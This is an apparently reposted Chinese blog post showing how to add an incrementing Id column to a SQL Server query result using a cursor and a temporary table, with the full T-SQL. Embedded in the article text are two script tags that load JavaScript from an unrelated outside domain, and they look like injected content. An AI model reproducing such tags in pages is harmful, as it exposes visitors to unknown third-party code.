SQL语句查询结果集中的动态修改案例(临时表+游标)

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>      曾经一位朋友问我这样一个问题: 怎样在查询出来的结果集中增加一个新列(有规律)?
如:数据库中的结构和数据如下: (tableName : People)
 Name           Age                                                                                                     
 changchang  20                                                  
 charles         23                                                   
 sunny          21     
 huangzhs     22                                                 
 dazu            65                                                   

现在通过SQL语句把查询的结果显示成:
Id       Name              Age
1       changchang       20
2       Charles             23
3       sunny               21
4      huangzhs           22
5       dazu                65

首先分析这道题目:(动态的增加新的一列(递增))
要在查询结果集中增加一个新列。而我们通过 select * from People 是没有ID这列的。
所以我们需要在查询出来的结果集中增加(一行一行增加).
实现要牵涉到的技术:
首先想到的是通过游标来实现(游标可以遍历结果集中的每一条记录)。
另外我们可以通过创建临时表或表变量来放增加新的列后的数据。
最后通过查询临时表就可以让查询结果中包含新增加的一列.
现在通过sql语句来实现上面的效果:
-- 定义参数
declare   @i   int
declare   @name   varchar ( 50 )
declare   @age   int

-- 声明一个游标
declare  c_people  cursor
for   select   *   from  people

-- 打开游标
open  c_people

-- 创建一个临时表
create   table  #mypeople
(Id 
int ,
Name 
varchar ( 50 ),
Age 
int )

set   @i = 1
-- 读取数据
fetch   next   from  c_people  into   @name , @age
while   @@fetch_status = 0
begin
-- 动态的增加新的一列到临时表
insert   into  #mypeople
values ( @i , @name , @age )
set   @i = @i + 1
fetch   next   from  c_people  into   @name , @age
end
-- 关闭游标
close  c_people
-- 删除游标
deallocate  c_people
-- 查询临时表
select   *   from  #mypeople
-- 删除临时表
drop   table  #mypeople

以上是我想到的实现方法。当然看来还是比较复杂的。如果有什么简单的方案。希望朋友们能及时的提出。分享知识是我最大的快乐。

Charles.Chen 2008-03-04 15:55 发表评论
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值